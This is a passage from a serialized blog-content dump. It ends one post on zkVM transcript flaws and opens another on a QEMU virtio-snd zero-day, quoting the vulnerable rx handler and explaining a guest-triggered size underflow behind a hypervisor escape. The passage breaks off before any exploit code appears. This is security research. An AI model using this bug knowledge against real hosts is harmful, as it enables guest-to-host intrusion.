binding.",{"type":25,"tag":38,"props":127511,"children":127512},{},[127513],{"type":31,"value":127514},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":25,"tag":38,"props":127516,"children":127517},{},[127518,127523],{"type":25,"tag":9267,"props":127519,"children":127520},{},[127521],{"type":31,"value":127522},"For auditors:",{"type":31,"value":127524}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":25,"tag":38,"props":127526,"children":127527},{},[127528,127533],{"type":25,"tag":9267,"props":127529,"children":127530},{},[127531],{"type":31,"value":127532},"For builders:",{"type":31,"value":127534}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":25,"tag":9310,"props":127536,"children":127537},{},[127538],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":127540},[127541,127542,127545,127551,127552,127560,127566,127569,127570,127574],{"id":111863,"depth":6763,"text":111866},{"id":112005,"depth":6763,"text":112008,"children":127543},[127544],{"id":112011,"depth":6772,"text":112014},{"id":112440,"depth":6763,"text":112443,"children":127546},[127547,127548,127549,127550],{"id":112451,"depth":6772,"text":112454},{"id":112639,"depth":6772,"text":112642},{"id":116007,"depth":6772,"text":116010},{"id":117219,"depth":6772,"text":117222},{"id":118850,"depth":6763,"text":118853},{"id":119355,"depth":6763,"text":119358,"children":127553},[127554,127555,127556,127557,127558,127559],{"id":119377,"depth":6772,"text":119380},{"id":120702,"depth":6772,"text":111818},{"id":121838,"depth":6772,"text":121841},{"id":122506,"depth":6772,"text":122509},{"id":125162,"depth":6772,"text":125165},{"id":125716,"depth":6772,"text":111842},{"id":126643,"depth":6763,"text":126646,"children":127561},[127562,127563,127564,127565],{"id":126654,"depth":6772,"text":126657},{"id":126822,"depth":6772,"text":126825},{"id":126846,"depth":6772,"text":126849},{"id":126862,"depth":6772,"text":126865},{"id":126876,"depth":6763,"text":126879,"children":127567},[127568],{"id":126882,"depth":6772,"text":126885},{"id":126916,"depth":6763,"text":126919},{"id":127093,"depth":6763,"text":111855,"children":127571},[127572,127573],{"id":127426,"depth":6772,"text":111812},{"id":127455,"depth":6772,"text":111818},{"id":127486,"depth":6763,"text":127489},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":127579,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":127580,"description":127581,"date":127582,"author":127583,"image":127584,"isFeatured":16,"onBlogPage":16,"tags":127586,"body":127589,"_type":6792,"_id":135875,"_source":6794,"_file":135876,"_stem":135877,"_extension":6797},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":127585,"width":101220,"height":17574},"/posts/virtio-snd-qemu-0day/title.png",[127587,127588],"qemu","heap-overflow",{"type":22,"children":127590,"toc":135857},[127591,127596,127601,127606,127612,127617,127622,127630,127636,127648,127652,127657,127665,127670,127676,127681,127694,128304,128339,128384,128418,128453,128588,128636,128642,128647,129403,129448,129484,129519,129584,129604,130054,130101,130104,130109,130174,130200,130222,130226,130231,130236,130242,130247,130252,130257,130263,130276,130282,130287,130295,130365,130370,130376,130389,130615,130678,130697,131080,131085,131118,131123,131399,131411,131429,131708,131720,131723,131758,131763,131769,131781,131793,131798,131803,131813,131848,132465,132497,132508,132544,132557,132563,132575,132583,132609,132614,132647,132688,132694,132713,132751,132759,132808,132813,132862,132867,132875,132962,132968,133007,133019,133027,133045,133064,133072,133084,133092,133111,133119,133130,133138,133149,133157,133170,133178,133184,133189,133202,133210,133228,133236,133248,133253,133261,133297,133330,133337,133371,133379,133384,133390,133402,133413,133692,133752,133820,133828,133862,134466,134477,134485,134491,134496,134507,135261,135294,135306,135392,135412,135621,135668,135680,135686,135705,135731,135759,135775,135802,135805,135825,135839,135843,135848,135853],{"type":25,"tag":38,"props":127592,"children":127593},{},[127594],{"type":31,"value":127595},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":25,"tag":26,"props":127597,"children":127598},{"id":127587},[127599],{"type":31,"value":127600},"QEMU",{"type":25,"tag":38,"props":127602,"children":127603},{},[127604],{"type":31,"value":127605},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":25,"tag":607,"props":127607,"children":127609},{"id":127608},"virtio-devices",[127610],{"type":31,"value":127611},"Virtio Devices",{"type":25,"tag":38,"props":127613,"children":127614},{},[127615],{"type":31,"value":127616},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":25,"tag":38,"props":127618,"children":127619},{},[127620],{"type":31,"value":127621},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":25,"tag":38,"props":127623,"children":127624},{},[127625],{"type":25,"tag":6461,"props":127626,"children":127629},{"alt":127627,"src":127628},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":25,"tag":26,"props":127631,"children":127633},{"id":127632},"finding-a-bug",[127634],{"type":31,"value":127635},"Finding a Bug",{"type":25,"tag":38,"props":127637,"children":127638},{},[127639,127641,127647],{"type":31,"value":127640},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":25,"tag":82,"props":127642,"children":127644},{"className":127643},[],[127645],{"type":31,"value":127646},"virtio-snd",{"type":31,"value":179},{"type":25,"tag":607,"props":127649,"children":127650},{"id":127646},[127651],{"type":31,"value":127646},{"type":25,"tag":38,"props":127653,"children":127654},{},[127655],{"type":31,"value":127656},"From the official documentation:",{"type":25,"tag":34,"props":127658,"children":127659},{},[127660],{"type":25,"tag":38,"props":127661,"children":127662},{},[127663],{"type":31,"value":127664},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":25,"tag":38,"props":127666,"children":127667},{},[127668],{"type":31,"value":127669},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":25,"tag":631,"props":127671,"children":127673},{"id":127672},"audio-data-buffers",[127674],{"type":31,"value":127675},"Audio Data Buffers",{"type":25,"tag":38,"props":127677,"children":127678},{},[127679],{"type":31,"value":127680},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":25,"tag":38,"props":127682,"children":127683},{},[127684,127686,127692],{"type":31,"value":127685},"For example, the following is ",{"type":25,"tag":82,"props":127687,"children":127689},{"className":127688},[],[127690],{"type":31,"value":127691},"virtio_snd_handle_rx_xfer",{"type":31,"value":127693},", which is responsible for allocating buffers for an input audio stream:",{"type":25,"tag":206,"props":127695,"children":127697},{"code":127696,"language":2248,"meta":7,"className":20467,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[127698],{"type":25,"tag":82,"props":127699,"children":127700},{"__ignoreMap":7},[127701,127708,127716,127724,127731,127739,127747,127755,127803,127810,127827,127834,127841,127853,127870,127877,127913,127933,127944,127951,127958,127966,127973,128006,128065,128083,128122,128147,128171,128199,128226,128264,128271,128283,128290,128297],{"type":25,"tag":216,"props":127702,"children":127703},{"class":6916,"line":6917},[127704],{"type":25,"tag":216,"props":127705,"children":127706},{"style":6921},[127707],{"type":31,"value":53329},{"type":25,"tag":216,"props":127709,"children":127710},{"class":6916,"line":6763},[127711],{"type":25,"tag":216,"props":127712,"children":127713},{"style":6921},[127714],{"type":31,"value":127715}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":25,"tag":216,"props":127717,"children":127718},{"class":6916,"line":6772},[127719],{"type":25,"tag":216,"props":127720,"children":127721},{"style":6921},[127722],{"type":31,"value":127723}," * respective streams for consumption.\n",{"type":25,"tag":216,"props":127725,"children":127726},{"class":6916,"line":6999},[127727],{"type":25,"tag":216,"props":127728,"children":127729},{"style":6921},[127730],{"type":31,"value":23442},{"type":25,"tag":216,"props":127732,"children":127733},{"class":6916,"line":7104},[127734],{"type":25,"tag":216,"props":127735,"children":127736},{"style":6921},[127737],{"type":31,"value":127738}," * @vdev: VirtIOSound device\n",{"type":25,"tag":216,"props":127740,"children":127741},{"class":6916,"line":7210},[127742],{"type":25,"tag":216,"props":127743,"children":127744},{"style":6921},[127745],{"type":31,"value":127746}," * @vq: rx virtqueue\n",{"type":25,"tag":216,"props":127748,"children":127749},{"class":6916,"line":7238},[127750],{"type":25,"tag":216,"props":127751,"children":127752},{"style":6921},[127753],{"type":31,"value":127754}," */\n",{"type":25,"tag":216,"props":127756,"children":127757},{"class":6916,"line":7251},[127758,127762,127766,127771,127776,127780,127785,127790,127794,127799],{"type":25,"tag":216,"props":127759,"children":127760},{"style":6930},[127761],{"type":31,"value":55007},{"type":25,"tag":216,"props":127763,"children":127764},{"style":6930},[127765],{"type":31,"value":55012},{"type":25,"tag":216,"props":127767,"children":127768},{"style":7041},[127769],{"type":31,"value":127770}," virtio_snd_handle_rx_xfer",{"type":25,"tag":216,"props":127772,"children":127773},{"style":6958},[127774],{"type":31,"value":127775},"(VirtIODevice ",{"type":25,"tag":216,"props":127777,"children":127778},{"style":6947},[127779],{"type":31,"value":8513},{"type":25,"tag":216,"props":127781,"children":127782},{"style":6941},[127783],{"type":31,"value":127784},"vdev",{"type":25,"tag":216,"props":127786,"children":127787},{"style":6958},[127788],{"type":31,"value":127789},", VirtQueue ",{"type":25,"tag":216,"props":127791,"children":127792},{"style":6947},[127793],{"type":31,"value":8513},{"type":25,"tag":216,"props":127795,"children":127796},{"style":6941},[127797],{"type":31,"value":127798},"vq",{"type":25,"tag":216,"props":127800,"children":127801},{"style":6958},[127802],{"type":31,"value":7101},{"type":25,"tag":216,"props":127804,"children":127805},{"class":6916,"line":7269},[127806],{"type":25,"tag":216,"props":127807,"children":127808},{"style":6958},[127809],{"type":31,"value":14830},{"type":25,"tag":216,"props":127811,"children":127812},{"class":6916,"line":7290},[127813,127818,127822],{"type":25,"tag":216,"props":127814,"children":127815},{"style":6958},[127816],{"type":31,"value":127817},"    VirtQueueElement ",{"type":25,"tag":216,"props":127819,"children":127820},{"style":6947},[127821],{"type":31,"value":8513},{"type":25,"tag":216,"props":127823,"children":127824},{"style":6958},[127825],{"type":31,"value":127826},"elem;\n",{"type":25,"tag":216,"props":127828,"children":127829},{"class":6916,"line":7299},[127830],{"type":25,"tag":216,"props":127831,"children":127832},{"style":6958},[127833],{"type":31,"value":108753},{"type":25,"tag":216,"props":127835,"children":127836},{"class":6916,"line":7551},[127837],{"type":25,"tag":216,"props":127838,"children":127839},{"emptyLinePlaceholder":16},[127840],{"type":31,"value":7636},{"type":25,"tag":216,"props":127842,"children":127843},{"class":6916,"line":7568},[127844,127848],{"type":25,"tag":216,"props":127845,"children":127846},{"style":6967},[127847],{"type":31,"value":6970},{"type":25,"tag":216,"props":127849,"children":127850},{"style":6958},[127851],{"type":31,"value":127852}," (;;) {\n",{"type":25,"tag":216,"props":127854,"children":127855},{"class":6916,"line":7585},[127856,127861,127865],{"type":25,"tag":216,"props":127857,"children":127858},{"style":6958},[127859],{"type":31,"value":127860},"        VirtIOSoundPCMStream ",{"type":25,"tag":216,"props":127862,"children":127863},{"style":6947},[127864],{"type":31,"value":8513},{"type":25,"tag":216,"props":127866,"children":127867},{"style":6958},[127868],{"type":31,"value":127869},"stream;\n",{"type":25,"tag":216,"props":127871,"children":127872},{"class":6916,"line":7598},[127873],{"type":25,"tag":216,"props":127874,"children":127875},{"emptyLinePlaceholder":16},[127876],{"type":31,"value":7636},{"type":25,"tag":216,"props":127878,"children":127879},{"class":6916,"line":7607},[127880,127885,127889,127894,127899,127903,127908],{"type":25,"tag":216,"props":127881,"children":127882},{"style":6958},[127883],{"type":31,"value":127884},"        elem ",{"type":25,"tag":216,"props":127886,"children":127887},{"style":6947},[127888],{"type":31,"value":266},{"type":25,"tag":216,"props":127890,"children":127891},{"style":7041},[127892],{"type":31,"value":127893}," virtqueue_pop",{"type":25,"tag":216,"props":127895,"children":127896},{"style":6958},[127897],{"type":31,"value":127898},"(vq, ",{"type":25,"tag":216,"props":127900,"children":127901},{"style":6930},[127902],{"type":31,"value":59290},{"type":25,"tag":216,"props":127904,"children":127905},{"style":6958},[127906],{"type":31,"value":127907},"(VirtQueueElement));",{"type":25,"tag":216,"props":127909,"children":127910},{"style":6921},[127911],{"type":31,"value":127912},"     // [1]\n",{"type":25,"tag":216,"props":127914,"children":127915},{"class":6916,"line":7630},[127916,127920,127924,127928],{"type":25,"tag":216,"props":127917,"children":127918},{"style":6967},[127919],{"type":31,"value":7216},{"type":25,"tag":216,"props":127921,"children":127922},{"style":6958},[127923],{"type":31,"value":7010},{"type":25,"tag":216,"props":127925,"children":127926},{"style":6947},[127927],{"type":31,"value":24575},{"type":25,"tag":216,"props":127929,"children":127930},{"style":6958},[127931],{"type":31,"value":127932},"elem) {\n",{"type":25,"tag":216,"props":127934,"children":127935},{"class":6916,"line":7639},[127936,127940],{"type":25,"tag":216,"props":127937,"children":127938},{"style":6967},[127939],{"type":31,"value":7244},{"type":25,"tag":216,"props":127941,"children":127942},{"style":6958},[127943],{"type":31,"value":6961},{"type":25,"tag":216,"props":127945,"children":127946},{"class":6916,"line":7648},[127947],{"type":25,"tag":216,"props":127948,"children":127949},{"style":6958},[127950],{"type":31,"value":7296},{"type":25,"tag":216,"props":127952,"children":127953},{"class":6916,"line":7716},[127954],{"type":25,"tag":216,"props":127955,"children":127956},{"emptyLinePlaceholder":16},[127957],{"type":31,"value":7636},{"type":25,"tag":216,"props":127959,"children":127960},{"class":6916,"line":7724},[127961],{"type":25,"tag":216,"props":127962,"children":127963},{"style":6958},[127964],{"type":31,"value":127965},"        [...]\n",{"type":25,"tag":216,"props":127967,"children":127968},{"class":6916,"line":7754},[127969],{"type":25,"tag":216,"props":127970,"children":127971},{"emptyLinePlaceholder":16},[127972],{"type":31,"value":7636},{"type":25,"tag":216,"props":127974,"children":127975},{"class":6916,"line":7762},[127976,127981,127985,127989,127993,127997,128002],{"type":25,"tag":216,"props":127977,"children":127978},{"style":7041},[127979],{"type":31,"value":127980},"        WITH_QEMU_LOCK_GUARD",{"type":25,"tag":216,"props":127982,"children":127983},{"style":6958},[127984],{"type":31,"value":1844},{"type":25,"tag":216,"props":127986,"children":127987},{"style":6947},[127988],{"type":31,"value":7053},{"type":25,"tag":216,"props":127990,"children":127991},{"style":6941},[127992],{"type":31,"value":40218},{"type":25,"tag":216,"props":127994,"children":127995},{"style":6958},[127996],{"type":31,"value":17708},{"type":25,"tag":216,"props":127998,"children":127999},{"style":6941},[128000],{"type":31,"value":128001},"queue_mutex",{"type":25,"tag":216,"props":128003,"children":128004},{"style":6958},[128005],{"type":31,"value":18755},{"type":25,"tag":216,"props":128007,"children":128008},{"class":6916,"line":7794},[128009,128014,128018,128023,128027,128031,128035,128040,128044,128048,128052,128057,128061],{"type":25,"tag":216,"props":128010,"children":128011},{"style":6958},[128012],{"type":31,"value":128013},"            size ",{"type":25,"tag":216,"props":128015,"children":128016},{"style":6947},[128017],{"type":31,"value":266},{"type":25,"tag":216,"props":128019,"children":128020},{"style":7041},[128021],{"type":31,"value":128022}," iov_size",{"type":25,"tag":216,"props":128024,"children":128025},{"style":6958},[128026],{"type":31,"value":1844},{"type":25,"tag":216,"props":128028,"children":128029},{"style":6941},[128030],{"type":31,"value":56026},{"type":25,"tag":216,"props":128032,"children":128033},{"style":6958},[128034],{"type":31,"value":17708},{"type":25,"tag":216,"props":128036,"children":128037},{"style":6941},[128038],{"type":31,"value":128039},"in_sg",{"type":25,"tag":216,"props":128041,"children":128042},{"style":6958},[128043],{"type":31,"value":7020},{"type":25,"tag":216,"props":128045,"children":128046},{"style":6941},[128047],{"type":31,"value":56026},{"type":25,"tag":216,"props":128049,"children":128050},{"style":6958},[128051],{"type":31,"value":17708},{"type":25,"tag":216,"props":128053,"children":128054},{"style":6941},[128055],{"type":31,"value":128056},"in_num",{"type":25,"tag":216,"props":128058,"children":128059},{"style":6958},[128060],{"type":31,"value":7030},{"type":25,"tag":216,"props":128062,"children":128063},{"style":6947},[128064],{"type":31,"value":54824},{"type":25,"tag":216,"props":128066,"children":128067},{"class":6916,"line":7802},[128068,128073,128078],{"type":25,"tag":216,"props":128069,"children":128070},{"style":6930},[128071],{"type":31,"value":128072},"                sizeof",{"type":25,"tag":216,"props":128074,"children":128075},{"style":6958},[128076],{"type":31,"value":128077},"(virtio_snd_pcm_status);",{"type":25,"tag":216,"props":128079,"children":128080},{"style":6921},[128081],{"type":31,"value":128082},"                  // [2]\n",{"type":25,"tag":216,"props":128084,"children":128085},{"class":6916,"line":7862},[128086,128091,128095,128100,128104,128108,128113,128117],{"type":25,"tag":216,"props":128087,"children":128088},{"style":6958},[128089],{"type":31,"value":128090},"            buffer ",{"type":25,"tag":216,"props":128092,"children":128093},{"style":6947},[128094],{"type":31,"value":266},{"type":25,"tag":216,"props":128096,"children":128097},{"style":7041},[128098],{"type":31,"value":128099}," g_malloc0",{"type":25,"tag":216,"props":128101,"children":128102},{"style":6958},[128103],{"type":31,"value":1844},{"type":25,"tag":216,"props":128105,"children":128106},{"style":6930},[128107],{"type":31,"value":59290},{"type":25,"tag":216,"props":128109,"children":128110},{"style":6958},[128111],{"type":31,"value":128112},"(VirtIOSoundPCMBuffer) ",{"type":25,"tag":216,"props":128114,"children":128115},{"style":6947},[128116],{"type":31,"value":3533},{"type":25,"tag":216,"props":128118,"children":128119},{"style":6958},[128120],{"type":31,"value":128121}," size);\n",{"type":25,"tag":216,"props":128123,"children":128124},{"class":6916,"line":12995},[128125,128130,128134,128138,128142],{"type":25,"tag":216,"props":128126,"children":128127},{"style":6941},[128128],{"type":31,"value":128129},"            buffer",{"type":25,"tag":216,"props":128131,"children":128132},{"style":6958},[128133],{"type":31,"value":17708},{"type":25,"tag":216,"props":128135,"children":128136},{"style":6941},[128137],{"type":31,"value":56026},{"type":25,"tag":216,"props":128139,"children":128140},{"style":6947},[128141],{"type":31,"value":6950},{"type":25,"tag":216,"props":128143,"children":128144},{"style":6958},[128145],{"type":31,"value":128146}," elem;\n",{"type":25,"tag":216,"props":128148,"children":128149},{"class":6916,"line":13013},[128150,128154,128158,128162,128166],{"type":25,"tag":216,"props":128151,"children":128152},{"style":6941},[128153],{"type":31,"value":128129},{"type":25,"tag":216,"props":128155,"children":128156},{"style":6958},[128157],{"type":31,"value":17708},{"type":25,"tag":216,"props":128159,"children":128160},{"style":6941},[128161],{"type":31,"value":127798},{"type":25,"tag":216,"props":128163,"children":128164},{"style":6947},[128165],{"type":31,"value":6950},{"type":25,"tag":216,"props":128167,"children":128168},{"style":6958},[128169],{"type":31,"value":128170}," vq;\n",{"type":25,"tag":216,"props":128172,"children":128173},{"class":6916,"line":13058},[128174,128178,128182,128187,128191,128195],{"type":25,"tag":216,"props":128175,"children":128176},{"style":6941},[128177],{"type":31,"value":128129},{"type":25,"tag":216,"props":128179,"children":128180},{"style":6958},[128181],{"type":31,"value":17708},{"type":25,"tag":216,"props":128183,"children":128184},{"style":6941},[128185],{"type":31,"value":128186},"size",{"type":25,"tag":216,"props":128188,"children":128189},{"style":6947},[128190],{"type":31,"value":6950},{"type":25,"tag":216,"props":128192,"children":128193},{"style":6983},[128194],{"type":31,"value":6986},{"type":25,"tag":216,"props":128196,"children":128197},{"style":6958},[128198],{"type":31,"value":6961},{"type":25,"tag":216,"props":128200,"children":128201},{"class":6916,"line":13164},[128202,128206,128210,128214,128218,128222],{"type":25,"tag":216,"props":128203,"children":128204},{"style":6941},[128205],{"type":31,"value":128129},{"type":25,"tag":216,"props":128207,"children":128208},{"style":6958},[128209],{"type":31,"value":17708},{"type":25,"tag":216,"props":128211,"children":128212},{"style":6941},[128213],{"type":31,"value":17852},{"type":25,"tag":216,"props":128215,"children":128216},{"style":6947},[128217],{"type":31,"value":6950},{"type":25,"tag":216,"props":128219,"children":128220},{"style":6983},[128221],{"type":31,"value":6986},{"type":25,"tag":216,"props":128223,"children":128224},{"style":6958},[128225],{"type":31,"value":6961},{"type":25,"tag":216,"props":128227,"children":128228},{"class":6916,"line":27449},[128229,128234,128238,128242,128246,128250,128255,128260],{"type":25,"tag":216,"props":128230,"children":128231},{"style":7041},[128232],{"type":31,"value":128233},"            QSIMPLEQ_INSERT_TAIL",{"type":25,"tag":216,"props":128235,"children":128236},{"style":6958},[128237],{"type":31,"value":1844},{"type":25,"tag":216,"props":128239,"children":128240},{"style":6947},[128241],{"type":31,"value":7053},{"type":25,"tag":216,"props":128243,"children":128244},{"style":6941},[128245],{"type":31,"value":40218},{"type":25,"tag":216,"props":128247,"children":128248},{"style":6958},[128249],{"type":31,"value":17708},{"type":25,"tag":216,"props":128251,"children":128252},{"style":6941},[128253],{"type":31,"value":128254},"queue",{"type":25,"tag":216,"props":128256,"children":128257},{"style":6958},[128258],{"type":31,"value":128259},", buffer, entry);",{"type":25,"tag":216,"props":128261,"children":128262},{"style":6921},[128263],{"type":31,"value":56591},{"type":25,"tag":216,"props":128265,"children":128266},{"class":6916,"line":27484},[128267],{"type":25,"tag":216,"props":128268,"children":128269},{"style":6958},[128270],{"type":31,"value":7296},{"type":25,"tag":216,"props":128272,"children":128273},{"class":6916,"line":27492},[128274,128279],{"type":25,"tag":216,"props":128275,"children":128276},{"style":6967},[128277],{"type":31,"value":128278},"        continue",{"type":25,"tag":216,"props":128280,"children":128281},{"style":6958},[128282],{"type":31,"value":6961},{"type":25,"tag":216,"props":128284,"children":128285},{"class":6916,"line":27500},[128286],{"type":25,"tag":216,"props":128287,"children":128288},{"emptyLinePlaceholder":16},[128289],{"type":31,"value":7636},{"type":25,"tag":216,"props":128291,"children":128292},{"class":6916,"line":27509},[128293],{"type":25,"tag":216,"props":128294,"children":128295},{"style":6958},[128296],{"type":31,"value":127965},{"type":25,"tag":216,"props":128298,"children":128299},{"class":6916,"line":27551},[128300],{"type":25,"tag":216,"props":128301,"children":128302},{"style":6958},[128303],{"type":31,"value":7868},{"type":25,"tag":38,"props":128305,"children":128306},{},[128307,128309,128315,128317,128323,128325,128330,128331,128337],{"type":31,"value":128308},"At ",{"type":25,"tag":82,"props":128310,"children":128312},{"className":128311},[],[128313],{"type":31,"value":128314},"[1]",{"type":31,"value":128316},", a ",{"type":25,"tag":82,"props":128318,"children":128320},{"className":128319},[],[128321],{"type":31,"value":128322},"VirtQueueElement *elem",{"type":31,"value":128324}," is popped from the virtqueue. It contains the ",{"type":25,"tag":82,"props":128326,"children":128328},{"className":128327},[],[128329],{"type":31,"value":128039},{"type":31,"value":1301},{"type":25,"tag":82,"props":128332,"children":128334},{"className":128333},[],[128335],{"type":31,"value":128336},"out_sg",{"type":31,"value":128338}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":25,"tag":38,"props":128340,"children":128341},{},[128342,128344,128350,128352,128358,128360,128366,128368,128374,128376,128382],{"type":31,"value":128343},"Further at ",{"type":25,"tag":82,"props":128345,"children":128347},{"className":128346},[],[128348],{"type":31,"value":128349},"[2]",{"type":31,"value":128351},", the device computes the size of the data buffer as ",{"type":25,"tag":82,"props":128353,"children":128355},{"className":128354},[],[128356],{"type":31,"value":128357},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":31,"value":128359},". That value is then used in the allocation: ",{"type":25,"tag":82,"props":128361,"children":128363},{"className":128362},[],[128364],{"type":31,"value":128365},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":31,"value":128367},". Finally, at ",{"type":25,"tag":82,"props":128369,"children":128371},{"className":128370},[],[128372],{"type":31,"value":128373},"[3]",{"type":31,"value":128375},", the newly allocated buffer is appended to the ",{"type":25,"tag":82,"props":128377,"children":128379},{"className":128378},[],[128380],{"type":31,"value":128381},"stream->queue",{"type":31,"value":128383}," linked list.",{"type":25,"tag":38,"props":128385,"children":128386},{},[128387,128389,128394,128396,128401,128403,128408,128410,128416],{"type":31,"value":128388},"Because both the ",{"type":25,"tag":82,"props":128390,"children":128392},{"className":128391},[],[128393],{"type":31,"value":128039},{"type":31,"value":128395}," iovec and the ",{"type":25,"tag":82,"props":128397,"children":128399},{"className":128398},[],[128400],{"type":31,"value":128056},{"type":31,"value":128402}," field are guest-controlled, and there is no check that the total ",{"type":25,"tag":82,"props":128404,"children":128406},{"className":128405},[],[128407],{"type":31,"value":128039},{"type":31,"value":128409}," size is at least ",{"type":25,"tag":82,"props":128411,"children":128413},{"className":128412},[],[128414],{"type":31,"value":128415},"sizeof(virtio_snd_pcm_status)",{"type":31,"value":128417},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":25,"tag":38,"props":128419,"children":128420},{},[128421,128423,128428,128430,128436,128438,128444,128446,128452],{"type":31,"value":128422},"From the guest driver, we can provide an empty ",{"type":25,"tag":82,"props":128424,"children":128426},{"className":128425},[],[128427],{"type":31,"value":128039},{"type":31,"value":128429}," iovec. In that case, the calculation becomes ",{"type":25,"tag":82,"props":128431,"children":128433},{"className":128432},[],[128434],{"type":31,"value":128435},"0 - sizeof(virtio_snd_pcm_status)",{"type":31,"value":128437},", so the allocation size effectively becomes ",{"type":25,"tag":82,"props":128439,"children":128441},{"className":128440},[],[128442],{"type":31,"value":128443},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":31,"value":128445},". Given the definition of ",{"type":25,"tag":82,"props":128447,"children":128449},{"className":128448},[],[128450],{"type":31,"value":128451},"VirtIOSoundPCMBuffer",{"type":31,"value":1466},{"type":25,"tag":206,"props":128454,"children":128456},{"code":128455,"language":2248,"meta":7,"className":20467,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[128457],{"type":25,"tag":82,"props":128458,"children":128459},{"__ignoreMap":7},[128460,128472,128485,128500,128517,128529,128541,128549,128561,128581],{"type":25,"tag":216,"props":128461,"children":128462},{"class":6916,"line":6917},[128463,128467],{"type":25,"tag":216,"props":128464,"children":128465},{"style":6930},[128466],{"type":31,"value":13351},{"type":25,"tag":216,"props":128468,"children":128469},{"style":6958},[128470],{"type":31,"value":128471}," VirtIOSoundPCMBuffer {\n",{"type":25,"tag":216,"props":128473,"children":128474},{"class":6916,"line":6763},[128475,128480],{"type":25,"tag":216,"props":128476,"children":128477},{"style":7041},[128478],{"type":31,"value":128479},"    QSIMPLEQ_ENTRY",{"type":25,"tag":216,"props":128481,"children":128482},{"style":6958},[128483],{"type":31,"value":128484},"(VirtIOSoundPCMBuffer) entry;\n",{"type":25,"tag":216,"props":128486,"children":128487},{"class":6916,"line":6772},[128488,128492,128496],{"type":25,"tag":216,"props":128489,"children":128490},{"style":6958},[128491],{"type":31,"value":127817},{"type":25,"tag":216,"props":128493,"children":128494},{"style":6947},[128495],{"type":31,"value":8513},{"type":25,"tag":216,"props":128497,"children":128498},{"style":6958},[128499],{"type":31,"value":127826},{"type":25,"tag":216,"props":128501,"children":128502},{"class":6916,"line":6999},[128503,128508,128512],{"type":25,"tag":216,"props":128504,"children":128505},{"style":6958},[128506],{"type":31,"value":128507},"    VirtQueue ",{"type":25,"tag":216,"props":128509,"children":128510},{"style":6947},[128511],{"type":31,"value":8513},{"type":25,"tag":216,"props":128513,"children":128514},{"style":6958},[128515],{"type":31,"value":128516},"vq;\n",{"type":25,"tag":216,"props":128518,"children":128519},{"class":6916,"line":7104},[128520,128524],{"type":25,"tag":216,"props":128521,"children":128522},{"style":6930},[128523],{"type":31,"value":20517},{"type":25,"tag":216,"props":128525,"children":128526},{"style":6958},[128527],{"type":31,"value":128528}," size;\n",{"type":25,"tag":216,"props":128530,"children":128531},{"class":6916,"line":7210},[128532,128536],{"type":25,"tag":216,"props":128533,"children":128534},{"style":6930},[128535],{"type":31,"value":59575},{"type":25,"tag":216,"props":128537,"children":128538},{"style":6958},[128539],{"type":31,"value":128540}," 